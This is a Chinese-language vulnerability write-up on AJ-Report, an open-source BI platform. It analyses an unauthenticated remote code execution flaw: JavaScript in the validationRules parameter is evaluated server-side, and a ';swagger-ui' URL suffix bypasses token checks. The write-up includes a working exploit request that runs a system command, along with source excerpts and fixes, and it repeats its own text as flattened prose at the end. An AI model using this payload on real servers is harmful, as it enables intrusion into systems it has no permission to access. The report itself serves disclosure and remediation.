AJ-Report代码执行漏洞分析
字数 965 2025-08-19 12:41:58

AJ-Report代码执行漏洞分析报告

漏洞概述

AJ-Report是一个全开源的BI平台,在其DataSetParamController中的verification方法存在未过滤参数的问题,导致可以执行JavaScript函数,进而实现远程代码执行。

漏洞环境搭建

  1. 获取源码:

    git clone https://gitee.com/anji-plus/report.git
    
  2. 配置MySQL数据库:

    • 创建数据库:aj_report
    • 导入SQL文件:位于resources/db.migration目录下
  3. 配置IDEA开发环境:

    • 使用IDEA打开下载的源码
  4. 配置文件存储路径

漏洞复现

请求示例

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1  
Host: 192.168.0.100:9095  
Content-Type: application/json;charset=UTF-8  
Connection: close  

{
  "sampleItem":"1",
  "validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\"whoami\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"
}

关键点

  • 通过validationRules参数注入恶意JavaScript代码
  • 使用;swagger-ui/绕过权限验证

漏洞分析

漏洞路径

\report\report-core\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java

漏洞代码

@PostMapping("/verification")  
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {  
    DataSetParamDto dto = new DataSetParamDto();  
    dto.setSampleItem(param.getSampleItem());  
    dto.setValidationRules(param.getValidationRules());  
    return responseSuccessWithData(dataSetParamService.verification(dto));  
}

参数接收类

@Data  
public class DataSetParamValidationParam implements Serializable {  
    @NotBlank(message = "sampleItem not empty")  
    private String sampleItem;  
    
    @NotBlank(message = "validationRules not empty")  
    private String validationRules;  
}

服务层实现

位于DataSetParamServiceImpl.java中的关键方法:

@Override
public Object verification(DataSetParamDto dataSetParamDto) {
    String validationRules = dataSetParamDto.getValidationRules();
    if (StringUtils.isNotBlank(validationRules)) {
        try {
            engine.eval(validationRules);  // 执行JavaScript代码
            if(engine instanceof Invocable){
                Invocable invocable = (Invocable) engine;
                Object exec = invocable.invokeFunction("verification", dataSetParamDto);
                ObjectMapper objectMapper = new ObjectMapper();
                if (exec instanceof Boolean) {
                    return objectMapper.convertValue(exec, Boolean.class);
                }else {
                    return objectMapper.convertValue(exec, String.class);
                }
            }
        } catch (Exception ex) {
            throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE_JS_ERROR, ex.getMessage());
        }
    }
    return true;
}

JavaScript引擎初始化

private ScriptEngine engine;
{
    ScriptEngineManager manager = new ScriptEngineManager();
    engine = manager.getEngineByName("JavaScript");
}

权限绕过分析

正常访问限制

正常情况下访问/dataSetParam/verification路由需要token验证

绕过方法

TokenFilter.java中,放行了swagger-ui和swagger-resources:

if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {  
    filterChain.doFilter(request, response);  
    return;  
}

绕过方式

使用URL截断;绕过鉴权:

POST /dataSetParam/verification;swagger-ui HTTP/1.1  
POST /dataSetParam/verification;swagger-resources HTTP/1.1

漏洞原理总结

  1. verification方法接收validationRules参数并直接传递给JavaScript引擎执行
  2. 攻击者可以构造恶意的JavaScript代码,通过Java反射机制执行系统命令
  3. 使用;URL截断技术绕过权限验证
  4. 漏洞的根本原因是未对用户输入的JavaScript代码进行任何过滤或沙箱限制

修复建议

  1. validationRules参数进行严格过滤,禁止危险函数和Java反射调用
  2. 实现JavaScript沙箱环境,限制可访问的Java类和函数
  3. 修改权限验证逻辑,避免使用简单的URI包含判断
  4. ;等特殊字符进行规范化处理,防止URL截断攻击
AJ-Report代码执行漏洞分析报告 漏洞概述 AJ-Report是一个全开源的BI平台,在其DataSetParamController中的verification方法存在未过滤参数的问题,导致可以执行JavaScript函数,进而实现远程代码执行。 漏洞环境搭建 获取源码: 配置MySQL数据库: 创建数据库: aj_report 导入SQL文件:位于 resources/db.migration 目录下 配置IDEA开发环境: 使用IDEA打开下载的源码 配置文件存储路径 漏洞复现 请求示例 关键点 通过 validationRules 参数注入恶意JavaScript代码 使用 ;swagger-ui/ 绕过权限验证 漏洞分析 漏洞路径 \report\report-core\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java 漏洞代码 参数接收类 服务层实现 位于 DataSetParamServiceImpl.java 中的关键方法: JavaScript引擎初始化 权限绕过分析 正常访问限制 正常情况下访问 /dataSetParam/verification 路由需要token验证 绕过方法 在 TokenFilter.java 中,放行了swagger-ui和swagger-resources: 绕过方式 使用URL截断 ; 绕过鉴权: 漏洞原理总结 verification 方法接收 validationRules 参数并直接传递给JavaScript引擎执行 攻击者可以构造恶意的JavaScript代码,通过Java反射机制执行系统命令 使用 ; URL截断技术绕过权限验证 漏洞的根本原因是未对用户输入的JavaScript代码进行任何过滤或沙箱限制 修复建议 对 validationRules 参数进行严格过滤,禁止危险函数和Java反射调用 实现JavaScript沙箱环境,限制可访问的Java类和函数 修改权限验证逻辑,避免使用简单的URI包含判断 对 ; 等特殊字符进行规范化处理,防止URL截断攻击